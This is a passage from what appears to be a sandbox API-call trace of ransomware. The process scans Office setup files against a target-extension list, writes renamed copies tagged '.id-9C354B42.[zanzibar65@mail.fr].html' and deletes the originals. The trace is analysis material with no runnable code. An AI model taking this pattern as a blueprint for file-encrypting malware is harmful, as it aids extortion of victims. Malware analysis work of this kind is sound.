Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.466] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0038.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.466] lstrlenW (lpString=".doc") returned 4 [0038.466] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.466] lstrlenW (lpString=".docx") returned 5 [0038.466] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.466] lstrlenW (lpString=".pdf") returned 4 [0038.466] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.466] lstrlenW (lpString=".xls") returned 4 [0038.466] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.466] lstrlenW (lpString=".xlsx") returned 5 [0038.466] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.466] lstrlenW (lpString=".ppt") returned 4 [0038.466] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.466] lstrlenW (lpString=".zip") returned 4 [0038.466] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.466] lstrlenW (lpString=".rar") returned 4 [0038.466] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.466] lstrlenW (lpString=".bz2") returned 4 [0038.466] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.466] lstrlenW (lpString=".7z") returned 3 [0038.467] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.467] lstrlenW (lpString=".dbf") returned 4 [0038.467] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.467] lstrlenW (lpString=".1cd") returned 4 [0038.467] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.467] lstrlenW (lpString=".jpg") returned 4 [0038.467] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.467] lstrlenW (lpString=".doc") returned 4 [0038.467] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.467] lstrlenW (lpString=".docx") returned 5 [0038.467] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.467] lstrlenW (lpString=".pdf") returned 4 [0038.467] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.467] lstrlenW (lpString=".xls") returned 4 [0038.467] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.467] lstrlenW (lpString=".xlsx") returned 5 [0038.467] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.467] lstrlenW (lpString=".ppt") returned 4 [0038.467] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.467] lstrlenW (lpString=".zip") returned 4 [0038.467] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.467] lstrlenW (lpString=".rar") returned 4 [0038.467] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.467] lstrlenW (lpString=".bz2") returned 4 [0038.467] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.467] lstrlenW (lpString=".7z") returned 3 [0038.468] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.468] lstrlenW (lpString=".dbf") returned 4 [0038.468] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.468] lstrlenW (lpString=".1cd") returned 4 [0038.468] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0038.468] lstrlenW (lpString=".jpg") returned 4 [0038.468] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.468] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0038.468] lstrlenW (lpString="SETUP.XML") returned 9 [0038.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.468] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1852) returned 1 [0038.468] CloseHandle (hObject=0x1cc) returned 1 [0038.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0038.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.469] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.469] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0038.469] GetLastError () returned 0x0 [0038.469] ReadFile (in: hFile=0x1cc, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x73c, lpOverlapped=0x0) returned 1 [0038.470] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x740, lpOverlapped=0x0) returned 1 [0038.471] ReadFile (in: hFile=0x1cc, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.471] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.471] SetEndOfFile (hFile=0x194) returned 1 [0038.471] CloseHandle (hObject=0x194) returned 1 [0038.472] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.472] SetEndOfFile (hFile=0x1cc) returned 1 [0038.473] CloseHandle (hObject=0x1cc) returned 1 [0038.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.473] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0038.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.473] lstrlenW (lpString=".doc") returned 4 [0038.473] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.473] lstrlenW (lpString=".docx") returned 5 [0038.473] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.473] lstrlenW (lpString=".pdf") returned 4 [0038.473] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.473] lstrlenW (lpString=".xls") returned 4 [0038.474] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.474] lstrlenW (lpString=".xlsx") returned 5 [0038.474] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.474] lstrlenW (lpString=".ppt") returned 4 [0038.474] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.474] lstrlenW (lpString=".zip") returned 4 [0038.474] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.474] lstrlenW (lpString=".rar") returned 4 [0038.474] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.474] lstrlenW (lpString=".bz2") returned 4 [0038.474] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.474] lstrlenW (lpString=".7z") returned 3 [0038.474] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.474] lstrlenW (lpString=".dbf") returned 4 [0038.474] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.474] lstrlenW (lpString=".1cd") returned 4 [0038.474] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.474] lstrlenW (lpString=".jpg") returned 4 [0038.474] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.474] lstrlenW (lpString=".doc") returned 4 [0038.474] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.474] lstrlenW (lpString=".docx") returned 5 [0038.474] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.474] lstrlenW (lpString=".pdf") returned 4 [0038.474] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.474] lstrlenW (lpString=".xls") returned 4 [0038.474] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.474] lstrlenW (lpString=".xlsx") returned 5 [0038.475] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.475] lstrlenW (lpString=".ppt") returned 4 [0038.475] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.475] lstrlenW (lpString=".zip") returned 4 [0038.475] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.475] lstrlenW (lpString=".rar") returned 4 [0038.475] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.475] lstrlenW (lpString=".bz2") returned 4 [0038.475] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.475] lstrlenW (lpString=".7z") returned 3 [0038.475] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.475] lstrlenW (lpString=".dbf") returned 4 [0038.475] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.475] lstrlenW (lpString=".1cd") returned 4 [0038.475] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0038.475] lstrlenW (lpString=".jpg") returned 4 [0038.475] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.475] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0038.475] lstrlenW (lpString="BRANDING.XML") returned 12 [0038.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.477] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=596341) returned 1 [0038.477] CloseHandle (hObject=0x1cc) returned 1 [0038.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0038.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.477] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.477] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0038.477] GetLastError () returned 0x0 [0038.477] ReadFile (in: hFile=0x1cc, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x91975, lpOverlapped=0x0) returned 1 [0038.489] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0039.096] ReadFile (in: hFile=0x1cc, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.096] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0039.096] SetEndOfFile (hFile=0x194) returned 1 [0039.262] CloseHandle (hObject=0x194) returned 1 [0039.267] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.267] SetEndOfFile (hFile=0x1cc) returned 1 [0039.272] CloseHandle (hObject=0x1cc) returned 1 [0039.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.272] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0039.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.272] lstrlenW (lpString=".doc") returned 4 [0039.272] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.273] lstrlenW (lpString=".docx") returned 5 [0039.273] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0039.273] lstrlenW (lpString=".pdf") returned 4 [0039.273] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.273] lstrlenW (lpString=".xls") returned 4 [0039.273] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.273] lstrlenW (lpString=".xlsx") returned 5 [0039.273] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0039.273] lstrlenW (lpString=".ppt") returned 4 [0039.273] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.273] lstrlenW (lpString=".zip") returned 4 [0039.273] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.273] lstrlenW (lpString=".rar") returned 4 [0039.273] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.273] lstrlenW (lpString=".bz2") returned 4 [0039.273] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.273] lstrlenW (lpString=".7z") returned 3 [0039.273] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.273] lstrlenW (lpString=".dbf") returned 4 [0039.273] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.273] lstrlenW (lpString=".1cd") returned 4 [0039.273] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.273] lstrlenW (lpString=".jpg") returned 4 [0039.273] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.273] lstrlenW (lpString=".doc") returned 4 [0039.273] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.274] lstrlenW (lpString=".docx") returned 5 [0039.274] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0039.274] lstrlenW (lpString=".pdf") returned 4 [0039.274] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.274] lstrlenW (lpString=".xls") returned 4 [0039.274] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.274] lstrlenW (lpString=".xlsx") returned 5 [0039.274] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0039.274] lstrlenW (lpString=".ppt") returned 4 [0039.274] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.274] lstrlenW (lpString=".zip") returned 4 [0039.274] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.274] lstrlenW (lpString=".rar") returned 4 [0039.274] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.274] lstrlenW (lpString=".bz2") returned 4 [0039.274] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.274] lstrlenW (lpString=".7z") returned 3 [0039.274] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.274] lstrlenW (lpString=".dbf") returned 4 [0039.274] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.274] lstrlenW (lpString=".1cd") returned 4 [0039.274] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.274] lstrlenW (lpString=".jpg") returned 4 [0039.274] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.274] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0039.274] lstrlenW (lpString="SETUP.CHM") returned 9 [0039.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.231] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=67190) returned 1 [0040.231] CloseHandle (hObject=0x1e8) returned 1 [0040.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0040.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.232] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.232] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0040.232] GetLastError () returned 0x0 [0040.232] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x10676, lpOverlapped=0x0) returned 1 [0040.234] WriteFile (in: 